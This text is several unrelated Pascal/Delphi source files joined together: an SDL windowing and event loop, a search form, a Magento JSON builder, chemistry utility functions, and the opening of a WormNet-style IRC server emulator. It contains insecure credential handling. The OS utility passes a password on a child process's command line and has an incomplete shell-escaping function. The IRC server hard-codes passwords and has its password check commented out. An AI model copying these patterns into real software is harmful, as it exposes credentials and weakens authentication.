end;
{ Invokes OnQueryClose and OnClose events }
procedure TWindow.DoClose(var Args: TEmptyArgs);
var
QueryCloseArgs: TQueryCloseArgs;
begin
if FClosed then
Exit;
QueryCloseArgs.CanClose := True;
if Assigned(FOnQueryClose) then
FOnQueryClose(Self, QueryCloseArgs);
FClosed := QueryCloseArgs.CanClose;
if FClosed then
try
if Assigned(FOnClose) then
FOnClose(Self, Args);
finally
if FMultithreaded then
begin
FLogicThread.Terminate;
FRenderThread.Terminate;
FLogicThread.Free;
FRenderThread.Free;
end;
end;
end;
{ Invokes OnFocus event }
procedure TWindow.DoFocus(var Args: TFocusArgs);
begin
if Assigned(FOnFocus) then
FOnFocus(Self, Args);
end;
{ Invokes OnKeyDown event }
procedure TWindow.DoKeyDown(var Args: TKeyboardArgs);
begin
if Assigned(FOnKeyDown) then
FOnKeyDown(Self, Args);
end;
{ Invokes OnKeyUp event }
procedure TWindow.DoKeyUp(var Args: TKeyboardArgs);
begin
if Assigned(FOnKeyUp) then
FOnKeyUp(Self, Args);
if Args.Key = VK_ESCAPE then
Close;
end;
{ Invokes OnMouseMove event }
procedure TWindow.DoMouseMove(var Args: TMouseMoveArgs);
begin
if Assigned(FOnMouseMove) then
FOnMouseMove(Self, Args);
end;
{ Invokes OnMouseDown event }
procedure TWindow.DoMouseDown(var Args: TMouseButtonArgs);
begin
if Assigned(FOnMouseDown) then
FOnMouseDown(Self, Args);
end;
{ Invokes OnMouseUp event }
procedure TWindow.DoMouseUp(var Args: TMouseButtonArgs);
begin
if Assigned(FOnMouseUp) then
FOnMouseUp(Self, Args);
end;
{ Invokes OnMouseWheel event }
procedure TWindow.DoMouseWheel(var Args: TMouseWheelArgs);
begin
if Assigned(FOnMouseWheel) then
FOnMouseWheel(Self, Args);
end;
{ Invokes OnMouseEnter event }
procedure TWindow.DoMouseEnter(var Args: TEmptyArgs);
begin
if Assigned(FOnMouseEnter) then
FOnMouseEnter(Self, Args);
end;
{ Invokes OnMouseLeave event }
procedure TWindow.DoMouseLeave(var Args: TEmptyArgs);
begin
if Assigned(FOnMouseLeave) then
FOnMouseLeave(Self, Args);
end;
{ Invokes OnMove event }
procedure TWindow.DoMove(var Args: TMoveResizeArgs);
begin
if Assigned(FOnMove) then
FOnMove(Self, Args);
end;
{ Invokes OnResize event }
procedure TWindow.DoResize(var Args: TMoveResizeArgs);
begin
if Assigned(FOnResize) then
FOnResize(Self, Args);
end;
{ Invokes OnSizeChange event }
procedure TWindow.DoSizeChanged(var Args: TEmptyArgs);
begin
if Assigned(FOnSizeChanged) then
FOnSizeChanged(Self, Args);
end;
{ Invokes OnShow event }
procedure TWindow.DoShow(var Args: TEmptyArgs);
begin
if Assigned(FOnShow) then
FOnShow(Self, Args);
end;
{ Invokes OnHide event }
procedure TWindow.DoHide(var Args: TEmptyArgs);
begin
if Assigned(FOnHide) then
FOnHide(Self, Args);
end;
{ Invokes OnJoystickAxis event }
procedure TWindow.DoJoystickAxis(var Args: TJoystickAxisArgs);
begin
if Assigned(FOnJoystickAxis) then
FOnJoystickAxis(Self, Args);
end;
{ Invokes OnJoystickBall event }
procedure TWindow.DoJoystickBall(var Args: TJoystickBallArgs);
begin
if Assigned(FOnJoystickBall) then
FOnJoystickBall(Self, Args);
end;
{ Invokes OnJoystickHat event }
procedure TWindow.DoJoystickHat(var Args: TJoystickHatArgs);
begin
if Assigned(FOnJoystickHat) then
FOnJoystickHat(Self, Args);
end;
{ Invokes OnJoystickButtonDown event }
procedure TWindow.DoJoystickButtonDown(var Args: TJoystickButtonArgs);
begin
if Assigned(FOnJoystickButtonDown) then
FOnJoystickButtonDown(Self, Args);
end;
{ Invokes OnJoystickButtonUp event }
procedure TWindow.DoJoystickButtonUp(var Args: TJoystickButtonArgs);
begin
if Assigned(FOnJoystickButtonUp) then
FOnJoystickButtonUp(Self, Args);
end;
{ Invokes OnJoystickAdded event }
procedure TWindow.DoJoystickAdded(var Args: TJoystickDeviceArgs);
begin
if Assigned(FOnJoystickAdded) then
FOnJoystickAdded(Self, Args);
end;
{ Invokes OnJoystickRemoved event }
procedure TWindow.DoJoystickRemoved(var Args: TJoystickDeviceArgs);
begin
if Assigned(FOnJoystickRemoved) then
FOnJoystickRemoved(Self, Args);
end;
procedure TWindow.Maximize;
begin
SDL_MaximizeWindow(FWindow);
end;
procedure TWindow.Minimize;
begin
SDL_MinimizeWindow(FWindow);
end;
procedure TWindow.Restore;
begin
SDL_RestoreWindow(FWindow);
end;
procedure TWindow.Show;
begin
SDL_ShowWindow(FWindow);
end;
procedure TWindow.Hide;
begin
SDL_HideWindow(FWindow);
end;
procedure TWindow.Move(X, Y: Integer);
begin
SDL_SetWindowPosition(FWindow, X, Y);
end;
procedure TWindow.Resize(Width, Height: Integer);
var
Args: TMoveResizeArgs;
begin
SDL_SetWindowSize(FWindow, Width, Height);
Args.X := Width;
Args.Y := Height;
DoResize(Args);
end;
procedure TWindow.GetBounds(out Rect: TRectI);
begin
SDL_GetWindowPosition(FWindow, Rect.X, Rect.Y);
SDL_GetWindowSize(FWindow, Rect.Width, Rect.Height);
end;
procedure TWindow.SetBounds(const Rect: TRectI);
begin
SDL_SetWindowPosition(FWindow, Rect.X, Rect.Y);
SDL_SetWindowSize(FWindow, Rect.Width, Rect.Height);
end;
procedure TWindow.SetDisplayMode(const Mode: TDisplayMode);
var
M: TSDL_DisplayMode;
begin
M.h := Mode.Height;
M.w := Mode.Width;
M.format := Mode.ColorDepth shl 8;
M.refresh_rate := 0;
SDL_SetWindowDisplayMode(FWindow, M);
end;
procedure TWindow.GetDisplayMode(out Mode: TDisplayMode);
var
M: TSDL_DisplayMode;
begin
if SDL_GetWindowDisplayMode(FWindow, M) = 0 then
begin
Mode.Height := M.h;
Mode.Width := M.w;
Mode.ColorDepth := SDL_BITSPERPIXEL(M.format);
Mode.RefreshRate := M.refresh_rate;
end
else
FillChar(Mode, SizeOf(Mode), 0);
end;
function TWindow.GetDimension(Index: Integer): Integer;
var
R: TRectI;
begin
GetBounds(R);
case Index of
1: Result := R.Y;
2: Result := R.Width;
3: Result := R.Height;
else
Result := R.X;
end;
end;
procedure TWindow.SetDimension(Index, Value: Integer);
var
R: TRectI;
begin
GetBounds(R);
case Index of
1: R.Y := Value;
2: R.Width := Value;
3: R.Height := Value;
else
R.X := Value;
end;
if Index < 2 then
Move(R.X, R.Y)
else
Resize(R.Width, R.Height);
end;
function TWindow.GetCaption: string;
begin
Result := SDL_GetWindowTitle(FWindow);
end;
procedure TWindow.SetCaption(const Value: string);
var
S: string;
begin
S := Value;
SDL_SetWindowTitle(FWindow, PAnsiChar(S));
end;
procedure TWindow.SetFullscreen(Value: Boolean);
begin
if Value <> FFullscreen then
begin
FFullscreen := Value;
SDL_ShowWindow(FWindow);
SDL_SetWindowFullscreen(FWindow, FFullscreen);
end;
end;
function TWindow.GetScreen: TScreen;
var
I: Integer;
begin
I := SDL_GetWindowDisplayIndex(FWindow);
if I < 0 then
Exit(nil);
if I > Screens.Count then
Screens.ScanHardware;
Result := Screens[I];
end;
procedure TWindow.SetVisible(Value: Boolean);
begin
if Value <> FVisible then
if Visible then
Show
else
Hide;
end;
{ TWindows }
procedure TWindows.Delete(Index: Integer);
begin
Items[Index].Free;
Items.Delete(Index);
end;
function TWindows.GetWindow(Index: Integer): TWindow;
begin
Result := Items[Index];
end;
function OpenGLLoad: Boolean;
begin
{ Just return true because we actually need a context for extension
querying to work. See TApplication.Init }
Result := True;
end;
function OpenGLGetProcAddress(ProcName: PAnsiChar): Pointer;
begin
Result := SDL_GL_GetProcAddress(ProcName);
end;
function OpenGLExtensionSupported(Extension: PAnsiChar): Boolean;
begin
Result := SDL_GL_ExtensionSupported(Extension);
end;
constructor TApplication.Create;
begin
inherited Create;
FWindows := TWindows.Create;
end;
destructor TApplication.Destroy;
begin
FWindows.Free;
inherited Destroy;
end;
function TApplication.Init(Strict: Boolean = False): Boolean;
var
W: PSDL_Window;
C: PSDL_GLContext;
begin
Result := @OpenGLManager.Load <> nil;
if Result then
Exit;
if SDL_GL_LoadLibrary(nil) <> 0 then
Exit;
{ We need an OpenGL context for OpenGLExtensionSupported to work correctly }
SDL_GL_SetAttribute(SDL_GL_ACCELERATED_VISUAL, 1);
SDL_ClearError;
W := SDL_CreateWindow('Hello', 0, 0, 100, 100, SDL_WINDOW_OPENGL or SDL_WINDOW_HIDDEN);
if W <> nil then
try
C := SDL_GL_CreateContext(W);
if C <> nil then
try
SDL_GL_MakeCurrent(W, C);
SDL_GL_LoadLibrary(nil);
@OpenGLManager.Load := @OpenGLLoad;
@OpenGLManager.GetProcAddress := @OpenGLGetProcAddress;
@OpenGLManager.ExtensionSupported := @OpenGLExtensionSupported;
Result := OpenGLInit or (not Strict);
finally
SDL_GL_MakeCurrent(W, nil);
SDL_GL_DeleteContext(C);
end;
finally
SDL_DestroyWindow(W);
end;
if not Result then
begin
@OpenGLManager.Load := nil;
@OpenGLManager.GetProcAddress := nil;
@OpenGLManager.ExtensionSupported := nil;
end;
end;
function TApplication.CreateWindow(WindowClass: TWindowClass): TWindow;
begin
if not Init then
Exit(nil);
Result := WindowClass.Create;
FWindows.Items.Add(Result);
end;
procedure TApplication.ProcessEvents;
function FindWindow(var Event: TSDL_Event): TWindow;
var
W: PSDL_Window;
begin
Result := nil;
case Event.type_ of
SDL_WINDOW_EVENT..SDL_MOUSEWHEEL,
SDL_USER_EVENT..SDL_LAST_EVENT:
begin
W := SDL_GetWindowFromID(Event.window.windowID);
if W <> nil then
Result := TWindow(SDL_GetWindowData(W, WindowInstance));
end;
end;
end;
procedure TranslateMessage(var Event: TSDL_Event; out Message: TMessage);
begin
Message.Msg := Event.type_;
{ Message.Time := Event.timestamp; }
Message.Time := Now - FTimeDelta;
case Message.Msg of
SDL_WINDOW_EVENT:
begin
Message.Msg := Event.window.event;
case Message.Msg of
SDL_WINDOWEVENT_MOVED, SDL_WINDOWEVENT_RESIZED:
begin
Message.MoveResizeArgs.X := Event.window.data1;
Message.MoveResizeArgs.Y := Event.window.data2;
end;
SDL_WINDOWEVENT_FOCUS_GAINED, SDL_WINDOWEVENT_FOCUS_LOST:
Message.FocusArgs.Focused := Message.Msg = SDL_WINDOWEVENT_FOCUS_GAINED;
end;
end;
SDL_KEYDOWN..SDL_KEYUP:
begin
Message.KeyboardArgs.Key := TVirtualKeyCode(Event.key.keysym.sym);
Message.KeyboardArgs.Repeated := Event.key.repeat_ <> 0;
Message.KeyboardArgs.Shift := KeyModToShiftState(Event.key.keysym.modifiers);
end;
SDL_MOUSEMOTION:
begin
Message.MouseMoveArgs.X := Event.motion.x;
Message.MouseMoveArgs.Y := Event.motion.y;
Message.MouseMoveArgs.XRel := Event.motion.xrel;
Message.MouseMoveArgs.YRel := Event.motion.yrel;
Message.MouseMoveArgs.Shift := KeyModToShiftState(SDL_GetModState);
end;
SDL_MOUSEBUTTONDOWN..SDL_MOUSEBUTTONUP:
begin
Message.MouseButtonArgs.Button := TMouseButton(Event.button.button - 1);
Message.MouseButtonArgs.X := Event.button.x;
Message.MouseButtonArgs.Y := Event.button.y;
Message.MouseButtonArgs.Shift := KeyModToShiftState(SDL_GetModState);
end;
SDL_MOUSEWHEEL:
begin
Message.MouseWheelArgs.Delta := Event.wheel.y;
Message.MouseWheelArgs.Shift := KeyModToShiftState(SDL_GetModState);
end;
SDL_JOYAXISMOTION:
begin
Message.JoystickAxisArgs.JoystickIndex := Event.jaxis.which;
Message.JoystickAxisArgs.AxisIndex := Event.jaxis.axis;
Message.JoystickAxisArgs.Position := Event.jaxis.value;
end;
SDL_JOYBALLMOTION:
begin
Message.JoystickBallArgs.JoystickIndex := Event.jball.which;
Message.JoystickBallArgs.BallIndex := Event.jball.ball;
Message.JoystickBallArgs.XRel := Event.jball.xrel;
Message.JoystickBallArgs.YRel := Event.jball.yrel;
end;
SDL_JOYHATMOTION:
begin
Message.JoystickHatArgs.JoystickIndex := Event.jhat.which;
Message.JoystickHatArgs.HatIndex := Event.jhat.hat;
case Event.jhat.value of
SDL_HAT_UP: Message.JoystickHatArgs.Hat := hatUp;
SDL_HAT_RIGHT: Message.JoystickHatArgs.Hat := hatRight;
SDL_HAT_DOWN: Message.JoystickHatArgs.Hat := hatDown;
SDL_HAT_LEFT: Message.JoystickHatArgs.Hat := hatLeft;
SDL_HAT_RIGHTUP: Message.JoystickHatArgs.Hat := hatRightUp;
SDL_HAT_RIGHTDOWN: Message.JoystickHatArgs.Hat := hatRightDown;
SDL_HAT_LEFTUP: Message.JoystickHatArgs.Hat := hatLeftUp;
SDL_HAT_LEFTDOWN: Message.JoystickHatArgs.Hat := hatLeftDown;
else
Message.JoystickHatArgs.Hat := hatCenter;
end;
end;
SDL_JOYBUTTONDOWN, SDL_JOYBUTTONUP:
begin
Message.JoystickButtonArgs.JoystickIndex := Event.jbutton.which;
Message.JoystickButtonArgs.ButtonIndex := Event.jbutton.button;
Message.JoystickButtonArgs.Pressed := Event.jbutton.state = SDL_PRESSED;
end;
SDL_JOYDEVICEADDED, SDL_JOYDEVICEREMOVED:
begin
Message.JoystickDeviceArgs.JoystickIndex := Event.jdevice.which;
Message.JoystickDeviceArgs.Added := Message.Msg = SDL_JOYDEVICEADDED;
end;
end;
end;
var
Event: TSDL_Event;
Message: TMessage;
Window: TWindow;
I: Integer;
begin
{TODO: Consider using SDL_WaitEvent }
while SDL_PollEvent(Event) <> 0 do
begin
TranslateMessage(Event, Message);
Window := FindWindow(Event);
if Window <> nil then
Window.DispatchMessage(Message)
else for I := FWindows.Count - 1 downto 0 do
FWindows[I].DispatchMessage(Message);
end;
end;
procedure TApplication.Run;
procedure HandleException(E: Exception);
var
Args: TExceptionArgs;
begin
if E is EAbortError then
Exit;
Args.ExceptObject := E;;
Args.Handled := False;
if Assigned(FOnException) then
try
FOnException(Self, Args);
except
Args.Handled := False;
end;
if not Args.Handled then
begin
ShowError(E, E.Message);
Terminate;
end;
end;
var
Stopwatch: TStopwatch;
Window: TWindow;
I: Integer;
begin
if not Init then
Exit;
FTimeDelta := Now;
Stopwatch := TStopwatch.Create;
for I := FWindows.Count - 1 downto 0 do
FWindows[I].CreateLoop(Stopwatch);
while not Terminated do
begin
try
ProcessEvents;
{ Remove windows which have been closed }
for I := FWindows.Count - 1 downto 0 do
if FWindows[I].FClosed then
begin
FWindows[I].DestroyLoop;
FWindows.Delete(I);
end;
{ Terminate when all windows have been closed }
if FWindows.Count = 0 then
FTerminated := True;
if not FTerminated then
begin
Stopwatch.Step;
for I := FWindows.Count - 1 downto 0 do
begin
Window := FWindows[I];
Window.RunLoop(Stopwatch);
end;
end;
except
on E: Exception do HandleException(E);
else
raise;
end;
{TODO: To keep things cool, let's try this out for a little bit}
Sleep(5);
end;
Stopwatch.Free;
for I := FWindows.Count - 1 downto 0 do
FWindows[I].DestroyLoop;
end;
procedure TApplication.Run(WindowClass: TWindowClass);
var
Window: TWindow;
begin
if not Init then
Exit;
Window := WindowClass.Create;
FWindows.Items.Add(Window);
Run;
end;
procedure TApplication.Run(WindowClass: TWindowClass; out Window: TWindow);
begin
if not Init then
Exit;
Window := WindowClass.Create;
FWindows.Items.Add(Window);
Run;
end;
procedure TApplication.Terminate;
begin
FTerminated := True;
end;
function TApplication.GetKeyboardWindow: TWindow;
var
W: PSDL_Window;
begin
W := SDL_GetKeyboardFocus;
if W <> nil then
Result := TWindow(SDL_GetWindowData(W, WindowInstance))
else
Result := nil;
end;
function TApplication.GetMouseWindow: TWindow;
var
W: PSDL_Window;
begin
W := SDL_GetMouseFocus;
if W <> nil then
Result := TWindow(SDL_GetWindowData(W, WindowInstance))
else
Result := nil;
end;
function TApplication.GetMainWindow: TWindow;
begin
if FWindows.Count > 0 then
Result := FWindows[0]
else
Result := nil;
end;
initialization
{$if defined(cpui386) or defined(cpux86_64)}
{ Don't signal floating point errors }
Set8087CW($133F);
{$endif}
SDL_Init(0);
finalization
JoysticksInstance.Free;
ApplicationInstance.Free;
{ SDL_Quit here to allow audio system to close gracefully }
SDL_Quit;
{ Then release the rest of the global singletons }
AudioInstance.Free;
KeyboardInstance.Free;
ScreensInstance.Free;
end.
|
unit UAdvancedSearch;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, cxLookAndFeelPainters, cxButtons, ActnList,
cxControls, cxContainer, cxEdit, cxTextEdit, cxMaskEdit;
type
TAdvancedSearchForm = class(TForm)
SearchGroup: TGroupBox;
TinSearchBtn: TRadioButton;
Label1: TLabel;
OldFamiliaSearchBtn: TRadioButton;
Label2: TLabel;
ActionList1: TActionList;
SelectAction: TAction;
CancelAction: TAction;
OldFamEdit: TcxMaskEdit;
TinSearchEdit: TcxMaskEdit;
SelectBtn: TcxButton;
procedure TinSearchBtnClick(Sender: TObject);
procedure OldFamiliaSearchBtnClick(Sender: TObject);
procedure SelectActionExecute(Sender: TObject);
procedure CancelActionExecute(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
pParamNumber: Integer;
pParamValue: string;
end;
implementation
{$R *.dfm}
procedure TAdvancedSearchForm.TinSearchBtnClick(Sender: TObject);
begin
TinSearchEdit.Enabled := True;
TinSearchEdit.SetFocus;
OldFamEdit.Enabled := False;
end;
procedure TAdvancedSearchForm.OldFamiliaSearchBtnClick(Sender: TObject);
begin
TinSearchEdit.Enabled := False;
OldFamEdit.Enabled := True;
OldFamEdit.SetFocus;
end;
procedure TAdvancedSearchForm.SelectActionExecute(Sender: TObject);
begin
if (TinSearchBtn.Checked) and (TinSearchEdit.Text <> '') then
begin
pParamNumber := 1;
pParamValue := TinSearchEdit.Text;
ModalResult := mrOk;
end;
if (OldFamiliaSearchBtn.Checked) and (OldFamEdit.Text <> '') then
begin
pParamNumber := 2;
pParamValue := OldFamEdit.Text;
ModalResult := mrOk;
end;
end;
procedure TAdvancedSearchForm.CancelActionExecute(Sender: TObject);
begin
ModalResult := mrCancel;
end;
end.
|
unit libosutils;
interface
uses classes, libutils;
function which( binary_name: string ): string; // which( 'php' ) will return '/usr/bin/php'
function base_dir(): string; // returns current program directory
// run a console command command_name (e.g. help), with given arguments args
function run_command( args: TStrArray; var output: TStrArray ): boolean;
function escapeshellarg( str: string ) : string;
implementation
uses sysutils, dos, strings, strutils, process, libterm, libenv;
var basedir: string;
function which( binary_name: string ) : string;
var i: integer;
path: string;
current: string;
begin
path := getenv( 'PATH' );
current := '';
for i := 1 to length(path) do
begin
if ( path[i] = ':' ) then
begin
if ( current <> '' ) then
begin
if fileexists( current + '/' + binary_name ) then
begin
exit( current + '/' + binary_name );
end;
end;
current := '';
end else
begin
current := current + path[i];
end;
end;
exit( '' );
end;
function base_dir(): string;
var rev: string;
i: integer;
n: integer;
add: string = '';
begin
n := length( basedir ) - 1;
add := '';
rev := '';
for i:= 1 to n do begin
if basedir[i] = '/' then
begin
add += '/';
rev := concat( rev, add );
add := '';
end else
begin
add := concat( add, basedir[i] );
end;
end;
if rev = '' then
base_dir := '.'
else
base_dir := rev;
end;
// escapes a shell argument ( replace " and \ with \" and \\
function escapeshellarg( str: string ) : string;
var out : string = '';
i : integer;
len : integer;
begin
len := length( str );
for i := 1 to len do begin
if str[ i ] = '"' then
begin
out += '\';
out += '"';
end else
begin
if str[ i ] = '\' then begin
out += '\\';
end else
begin
out += str[i];
end;
end;
end;
escapeshellarg := '"' + out + '"';
end;
function run_command( args: TStrArray; var output: TStrArray ): boolean;
var testfile : string;
//cmdline : string;
i : integer = 0;
//len : integer = 0;
outputlines: TStringList;
memstream : TMemoryStream;
ourprocess : TProcess;
numbytes : LongInt;
bytesread : LongInt;
begin
//writeln( #10#13'running: ', args[0], ' ', args.count, ' args'#10#13 );
testfile := base_dir() + '../plugins/' + args[0] + '.php';
if not fileExists( testfile ) then begin
// command does not exists
exit(false);
end;
memstream := TMemoryStream.Create;
bytesread := 0;
ourprocess:= TProcess.create( nil );
ourprocess.executable := which( 'php' );
ourprocess.parameters.add( testfile );
ourprocess.parameters.add( '-ENV=site:' + term_get_env('site') );
ourprocess.parameters.add( '-ENV=path:' + term_get_env('path') );
ourprocess.parameters.add( '-ENV=user:' + term_get_env('user') );
ourprocess.parameters.add( '-ENV=password:' + term_get_env( 'password' ) );
for i := 1 to length( args ) - 1 do begin
if args[i] = '' then
ourprocess.parameters.add( '---empty---argument---fpc---tprocess---bug---' )
else
ourprocess.parameters.add( args[i] );
end;
//ourprocess.CommandLine := cmdline;
ourprocess.Options := [ poUsePipes ];
ourprocess.Execute;
while true do begin
MemStream.SetSize(BytesRead + 2048);
// try reading it
NumBytes := OurProcess.Output.Read((MemStream.Memory + BytesRead)^, 2048);
if NumBytes > 0 // All read() calls will block, except the final one.
then begin
Inc(BytesRead, NumBytes);
end else
break // Program has finished execution.
end;
if BytesRead > 0 then WriteLn;
MemStream.SetSize(BytesRead);
OutputLines := TStringList.Create;
OutputLines.LoadFromStream(MemStream);
term_set_process_output( OutputLines, output );
OutputLines.Free;
OurProcess.Free;
MemStream.Free;
run_command := true;
end;
initialization
basedir := paramstr(0);
end. |
unit Magento.Custom_Attributes;
interface
uses
Magento.Interfaces, System.JSON;
type
TMagnetoCustom_attributes = class (TInterfacedObject, iMagnetoCustom_attributes)
private
FParent : iMagentoEntidadeProduto;
FJSON : TJSONObject;
FJSONArray : TJSONArray;
public
constructor Create(Parent : iMagentoEntidadeProduto);
destructor Destroy; override;
class function New(Parent : iMagentoEntidadeProduto) : iMagnetoCustom_attributes;
function Attribute_code(value : String) : iMagnetoCustom_attributes;
function Value(aValue : String) : iMagnetoCustom_attributes;
function Continuos : iMagnetoCustom_attributes;
function &End : iMagentoEntidadeProduto;
end;
implementation
{ TMagnetoCustom_attributes }
uses Magento.Factory;
function TMagnetoCustom_attributes.Attribute_code(
value: String): iMagnetoCustom_attributes;
begin
Result := Self;
FJSON.AddPair('attribute_code',value);
end;
function TMagnetoCustom_attributes.&End: iMagentoEntidadeProduto;
begin
FJSONArray.Add(FJSON);
FParent.Custom_attributes(FJSONArray);
Result := FParent;
end;
function TMagnetoCustom_attributes.Continuos: iMagnetoCustom_attributes;
begin
Result := Self;
FJSONArray.Add(FJSON);
FJSON := TJSONObject.Create;
end;
constructor TMagnetoCustom_attributes.Create(Parent : iMagentoEntidadeProduto);
begin
FParent := Parent;
FJSON := TJSONObject.Create;
FJSONArray := TJSONArray.Create;
end;
destructor TMagnetoCustom_attributes.Destroy;
begin
inherited;
end;
class function TMagnetoCustom_attributes.New(Parent : iMagentoEntidadeProduto) : iMagnetoCustom_attributes;
begin
Result := self.Create(Parent);
end;
function TMagnetoCustom_attributes.Value(
aValue: String): iMagnetoCustom_attributes;
begin
Result := Self;
FJSON.AddPair('value', aValue);
end;
end.
|
unit URegularFunctions;
interface
function convert_mass_to_mole_fractions(
mass_fractions: array of real;
mr: array of real): array of real;
function convert_mass_to_volume_fractions(
mass_fractions:array of real;
density: array of real): array of real;
function get_flow_density(mass_fractions: array of real;
density: array of real): real;
function get_average_mol_mass(mass_fractions: array of real;
mr: array of real): real;
function get_flow_cp(mass_fractions: array of real;
temperature: real;
coeffs: array of array of real): real;
function normalize(x: array of real): array of real;
implementation
function convert_mass_to_mole_fractions(
mass_fractions: array of real;
mr: array of real): array of real;
begin
result := ArrFill(mass_Fractions.Length, 0.0);
var s := 0.0;
foreach var i in mass_fractions.Indices do
s += mass_fractions[i] / mr[i];
foreach var i in mass_Fractions.Indices do
result[i] := mass_fractions[i] / mr[i] / s
end;
function convert_mass_to_volume_fractions(
mass_fractions: array of real;
density: array of real): array of real;
begin
result := ArrFill(mass_fractions.Length, 0.0);
var s := 0.0;
foreach var i in mass_fractions.Indices do
s += mass_fractions[i] / density[i];
foreach var i in mass_Fractions.Indices do
result[i] := mass_fractions[i] / density[i] / s
end;
function get_flow_density(mass_fractions: array of real;
density: array of real): real;
begin
result := 0.0;
foreach var i in mass_fractions.Indices do
result += mass_fractions[i] / density[i];
result := result ** -1
end;
function get_average_mol_mass(mass_fractions: array of real;
mr: array of real): real;
begin
result := 0.0;
foreach var i in mass_Fractions.Indices do
result += mass_fractions[i] / mr[i];
result := result ** -1
end;
function get_flow_cp(mass_fractions: array of real;
temperature: real;
coeffs: array of array of real): real;
begin
result := 0.0;
var cp := ArrFill(mass_fractions.Length, 0.0);
foreach var i in mass_fractions.Indices do
foreach var j in coeffs[i].Indices do
cp[i] += (j + 1) * coeffs[i][j] * temperature ** j;
foreach var i in mass_fractions.Indices do
result += mass_fractions[i] * cp[i]
end;
function normalize(x: array of real): array of real;
begin
result := ArrFill(x.Length, 0.0);
var s := x.Sum;
foreach var i in x.Indices do
result[i] := x[i] / s
end;
end. |
unit IRCServer;
// a quick hack of an IRC server, which supports only one channel
{$IFDEF FPC}
{$MODE DELPHI}
{$ENDIF}
interface
uses
{$IFDEF WIN32}
Windows, WinSock,
{$ELSE}
Sockets, FakeWinSock,
{$ENDIF}
Classes;
type
TUser=class (TThread)
ConnectingFrom: string;
Nickname, Username, Hostname, Servername, Realname: string;
Socket: TSocket;
InChannel: Boolean;
Modes: array[char] of Boolean;
procedure Execute; override;
procedure SendLn(S: string);
end;
var
Users: array of TUser;
procedure StartIRCServer;
procedure LogToOper(S: string);
resourcestring
IRCPassword='ELSILRACLIHP ';
IRCPassword2='ELSILRACLIHP';
ValidNickChars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789`_-|';
implementation
uses
{$IFDEF WINDOWS}
Windows,
{$ENDIF}
Base, Data, SysUtils, HTTPServer, WormNATServer;
procedure TUser.Execute;
var
Buffer, S, S2, Command, Target: string;
R, Bytes, I, N: Integer;
PingTimer: Integer;
B: Boolean;
ReadSet, ErrorSet: record
count: u_int;
Socket: TSocket;
end;
TimeVal: TTimeVal;
User: TUser;
Password: string;
C: Char;
procedure LogIn;
var I: Integer;
begin
EventLog(Nickname+' ('+ConnectingFrom+') logged in.');
SendLn(':'+ServerHost+' 001 '+Nickname+' :Welcome, '+Nickname+' !');
SendLn(':'+ServerHost+' 002 '+Nickname+' :This is a minimal WormNet-compatible IRC server emulator,');
SendLn(':'+ServerHost+' 003 '+Nickname+' :supporting only the base set of IRC features.');
SendLn(':'+ServerHost+' 004 '+Nickname+' :The server software was written by ');
SendLn(':'+ServerHost+' 005 '+Nickname+' :The_CyberShadow <thecybershadow@gmail.com>');
if WormNATPort>0 then
SendLn(':'+ServerHost+' 006 '+Nickname+' :[WormNATRouteOn:'+IntToStr(WormNATPort)+'] This server supports built-in WormNAT routing.');
//SendLn(':'+ServerHost+' 007 '+Nickname+' :[YourIP:'+ConnectingFrom+'] Your external IP address is '+ConnectingFrom+'.');
//SendLn(':'+ServerHost+' 004 '+Nickname+' wormnet1.team17.com 2.8/hybrid-6.3.1 oOiwszcrkfydnxb biklmnopstve');
//SendLn(':'+ServerHost+' 005 '+Nickname+' WALLCHOPS PREFIX=(ov)@+ CHANTYPES=#& MAXCHANNELS=20 MAXBANS=25 NICKLEN=15 TOPICLEN=120 KICKLEN=90 NETWORK=EFnet CHANMODES=b,k,l,imnpst MODES=4 :are supported by this server');
SendLn(':'+ServerHost+' 251 '+Nickname+' :There are '+IntToStr(Length(Users))+' users on the server.');
N:=0;
for I:=0 to Length(Users)-1 do
if Users[I].Modes['o'] then
Inc(N);
SendLn(':'+ServerHost+' 252 '+Nickname+' '+IntToStr(N)+' :IRC Operators online');
SendLn(':'+ServerHost+' 254 '+Nickname+' 1 :channel hard-coded limit');
SendLn(':'+ServerHost+' 375 '+Nickname+' :- '+ServerHost+' Message of the Day - ');
S:=GetFile('motd.txt')+#13#10;
while GetLine(S, S2) do
if(S<>'')or(S2<>'') then
SendLn(':'+ServerHost+' 372 '+Nickname+' :- '+S2);
SendLn(':'+ServerHost+' 376 '+Nickname+' :End of /MOTD command.');
end;
begin
try
Buffer:='';
PingTimer:=0;
Password:='';
repeat
repeat
ReadSet.count:=1;
ReadSet.Socket:=Socket;
ErrorSet.count:=1;
ErrorSet.Socket:=Socket;
TimeVal.tv_sec:=0;
TimeVal.tv_usec:=10000;
R:=select(Socket+1, @ReadSet, nil, @ErrorSet, @TimeVal);
if (R=SOCKET_ERROR) or (ErrorSet.count>0) then
begin
Log('[IRC] '+ConnectingFrom+' select() error ('+WinSockErrorCodeStr(WSAGetLastError)+').');
raise Exception.Create('Connection error.');
end;
if (ReadSet.count=0)or(R=0) then
Break; // nothing to read
R:=ioctlsocket(Socket, FIONREAD, Bytes);
if R=SOCKET_ERROR then
begin
Log('[IRC] '+ConnectingFrom+' Connection error ('+WinSockErrorCodeStr(WSAGetLastError)+').');
raise Exception.Create('Connection error ('+WinSockErrorCodeStr(WSAGetLastError)+').');
end;
if Bytes=0 then // software disconnect
begin
Log('[IRC] '+ConnectingFrom+' Connection error (Graceful disconnect).');
raise Exception.Create('Software disconnect');
end;
SetLength(S, Bytes);
R:=recv(Socket, S[1], Bytes, 0);
if(R=0)or(R=SOCKET_ERROR)then
begin
Log('[IRC] '+ConnectingFrom+' Connection error ('+WinSockErrorCodeStr(WSAGetLastError)+').');
raise Exception.Create('Connection error ('+WinSockErrorCodeStr(WSAGetLastError)+')');
end;
SetLength(S, R);
Buffer := Buffer + S;
PingTimer:=0;
until False;
while GetLine(Buffer, S) do
begin
WriteLn('< '+S);
Command:=UpperCase(Copy(S, 1, Pos(' ', S+' ')-1));
Delete(S, 1, Length(Command)+1);
if Command='PING' then
SendLn('PONG :'+ServerHost)
else
if Command='PONG' then
else
if Command='PASS' then {ignore}
begin
Password:=S;
{if (Password<>IRCPassword) and (Password<>IRCPassword2) then
begin
SendLn(':'+ServerHost+' 464 '+S+' :Password incorrect');
raise Exception.Create('Bad password!');
end;}
end
else
